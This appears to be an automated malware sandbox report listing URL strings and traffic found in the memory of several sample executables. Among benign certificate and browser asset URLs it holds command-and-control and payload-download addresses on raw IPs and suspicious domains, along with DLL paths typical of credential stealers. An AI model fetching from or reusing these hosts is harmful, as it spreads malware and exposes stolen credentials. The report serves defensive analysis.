HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exelL
Source: file.exe, 00000000.00000002.1973362137.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe6/steam/random.exe2001
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61395
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61395d;
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe7
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe=F
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeAFVI
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeF
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeGFPI
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exea
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeata
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeuFbI
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeuO
Source: file.exe, 00000000.00000002.1971911625.0000000000BE5000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1973362137.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1973362137.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1973362137.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1973362137.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll_h
Source: file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1973362137.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1973362137.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll/()
Source: file.exe, 00000000.00000002.1973362137.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/J34
Source: file.exe, 00000000.00000002.1973362137.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/X3&
Source: file.exe, 00000000.00000002.1973362137.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973362137.00000000014C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1971911625.0000000000BE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5%&
Source: file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpX#G
Source: file.exe, 00000000.00000002.1971911625.0000000000BE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2000860922.00000000239ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu&
Source: file.exe, 00000000.00000002.1971911625.0000000000BE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ina
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2698948554.00000000016F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php01
Source: skotes.exe, 0000001A.00000002.2698948554.00000000016F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpS
Source: skotes.exe, 0000001A.00000002.2698948554.000000000170D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: 93734d82d0.exe, 0000001C.00000002.2700470361.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403
Source: 93734d82d0.exe, 0000001C.00000002.2700470361.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17318404033
Source: 93734d82d0.exe, 0000001C.00000002.2700470361.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403R
Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der
Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: ec3f41365f.exe, 0000001D.00000002.2698341570.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cX
Source: file.exe, file.exe, 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005636011.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: 24637bc5-25da-4aa4-8c1e-22c7ddf97aee.tmp.11.dr, 86d5c4f1-9280-4bbb-b573-d40043df092b.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 24637bc5-25da-4aa4-8c1e-22c7ddf97aee.tmp.11.dr, 86d5c4f1-9280-4bbb-b573-d40043df092b.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 24637bc5-25da-4aa4-8c1e-22c7ddf97aee.tmp.11.dr, 86d5c4f1-9280-4bbb-b573-d40043df092b.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ec3f41365f.exe, 0000001D.00000003.2693315593.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: ec3f41365f.exe, 0000001D.00000003.2693315593.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs//
Source: ec3f41365f.exe, 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2675831416.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: ec3f41365f.exe, 0000001D.00000002.2698341570.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/v
Source: ec3f41365f.exe, 0000001D.00000003.2693315593.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/w
Source: 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 93734d82d0.exe, 0000001C.00000002.2694177542.0000000000A2A000.00000040.00000001.01000000.0000000F.sdmp, 93734d82d0.exe, 0000001C.00000003.2555854015.00000000073E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
